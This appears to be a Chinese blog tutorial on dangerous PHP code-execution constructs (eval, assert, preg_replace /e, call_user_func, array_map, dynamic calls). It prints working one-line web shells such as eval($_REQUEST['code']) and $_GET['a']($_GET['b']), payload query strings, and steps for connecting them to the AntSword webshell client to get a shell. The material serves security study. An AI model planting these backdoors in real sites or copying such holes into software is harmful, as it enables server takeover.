PHP 危险函数2-代码执行语句

代码执行语句

eval()

  • 不是函数,不能被动态调用,并且需要以 ;结束

  • 直接输出,不执行

    <?php
        $code="phpinfo();";
    	echo $code;
        ?>
    

    image-20231025141518170

  • eval() 语句执行

    <?php
        $code="phpinfo();";
    	eval($code);      // eval 不是函数,最后要加 ;
        ?>
    

    image-20231025141559421

  • 动态执行

    <?php
        $code=$_REQUEST["code"];
    	eval($code);
        ?>
    

    image-20231025142152024

  • 一句话木马

    <?php
        eval($_REQUEST["code"]);
        ?>
    

    image-20231025165821879

    蚁剑执行命令

    image-20231025165526577

  • 其他执行方式

    ?code=phpinfo();
    
    ?code=${phpinfo()};
    
    ?code=echo abc;phpinfo();
    
    ?code=?>this is a test<?php phpinfo();
    
    ?code=eval(phpinfo());
    

assert()

  • 高版本中删除了 assert()

  • 使用方法

    <?php
    	assert("<执行语句>");
        ?>
    
  • 调用系统函数

    image-20231025154512624

  • 动态调用

    <?php
        $code=$_REQUEST["code"];
    	assert($code);
        ?>
    

    image-20231025154349691

  • 蚁剑连接

    image-20231025172351832

preg_replace()

  • 正则匹配,替换

  • 替换字符,忽略大小写

    <?php
        $code=preg_replace("/a/i","e","abAcd");
    	//  "//"两个斜线中的为正则表达式,后面跟选项i,表示不区分大小写
    	// 此处将 abAcd 中无论大小写的 a 全替换成 e
    	echo $code;
        ?>
    

    image-20231025155120906

    <?php
        $code=preg_replace("/\[.*\]/i","e","[abcde]");
    	//  "//"两个斜线中的未正则表达式,后面跟选项i,表示不区分大小写
    	//  \ 用来进行转义
    	//  .* 表示全部内容
    	// 此处将 [abede] 包括中括号,替换成 e
    	echo $code;
        ?>
    

    image-20231025155308701

    $code= preg_replace("/\[(.*)\]/i","e","[phpinfo()]");
    // 匹配方括号中的任意字符序列,并将其替换为字母 "e"。所以,"[phpinfo()]" 会被替换为 "e"。最终,变量 $code 的值将是 "e"。
    
  • 捕获 [] 中的内容

    <?php
        $code= preg_replace("/\[(.*)\]/i","\\1","[phpinfo()]");
    		\\1 第一次匹配的不明确的字符(此处为 phpinfo())
    
    
    	//		\[(.*)\] 是正则表达式的模式,用于匹配方括号 [ 和 ] 之间的任意字符序列,并将其作为捕获组。
    	//		\[ 匹配左方括号 [。
    	//		(.*) 匹配任意字符序列,并将其作为捕获组。
    	//		\] 匹配右方括号 ]。
    	//		"\\1" 是替换字符串,其中 \\1 表示引用第一个捕获组的内容。
    	//		将目标字符串 "[phpinfo()]" 中的方括号及其内部的任意字符序列替换为捕获组中的内容。在这个例子中,捕获组中的内容是 "phpinfo()",所以最终 $code 的值将是 "phpinfo()"。
    	echo $code;
        ?>
    

    image-20231025163105920

  • 执行捕获的 [] 中的内容

    <?php
        $code= preg_replace("/\[(.*)\]/ie","\\1","[phpinfo()]");
        //	\\1 第一次匹配的不明确的字符(此处为 phpinfo())
        // 此处的参数 e 会将匹配出的不明确字符执行
    	echo $code;
        ?>
    

    image-20231025163213177

回调函数

  • 可以调用其他函数的函数
  • call_user_func()、array_map()
  • eval()、isset() 等为语言结构,不是函数,不能被回调

call_user_func()

  • 使用

    <?php
    	call_user_func(<调用的函数>,<要传的参数>);
        ?>
    
  • <?php
        $func="assert";
    	$code="phpinfo()";
    	call_user_func($func,$code);
        ?>
    

    image-20231025145510715

  • 动态执行

    <?php
        $func=$_REQUEST["func"];
    	$code=$_REQUEST["code"];
    	call_user_func($func,$code);
        ?>
    

    image-20231025145244245

    image-20231025145339107

  • 连接蚁剑

    image-20231025174346683

array_map()

  • 第二个参数必须是数组

  • 使用

    <?php
        $func=$_REQUEST["func"];
    	$code[]="phpinfo()";
    	array_map($func,$code);
        ?>
    

    image-20231025164157955

  • 动态执行

    <?php
        $func=$_REQUEST["func"];
    	$code=$_REQUEST["code"];
    	array_map($func,$code);
        ?>
    

    image-20231025174743867

动态函数

  • 在 php 中写入最简单的后门函数

    <?php
        $_GET['a']($_GET['b']);
        ?>
    

    访问此 php 页面

    image-20231024110739759

    修改传参,成功执行命令

    image-20231024110854862

蚁剑连接

  • eval 为一种语言结构,而非函数,不能动态调用

  • 可以将 assert 当作 a 的参数,b 的参数为一句话木马,连接蚁剑

    • 蚁剑为 POST 传参,需要将传参方式设置为 $_POST$_REQUEST

      <pre>
      <?php
          $_GET['a']($_REQUEST['b']);
          ?>
      

  • 蚁剑连接

    输入传参后的 url

    注意

    assert 一次只能传递一个参数,传递多个参数时需要对传参进行编码

    连接密码为 $_REQUEST['b'] 中的 b

    image-20231024172526535

  • 获取 shell

    image-20231024172714987

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值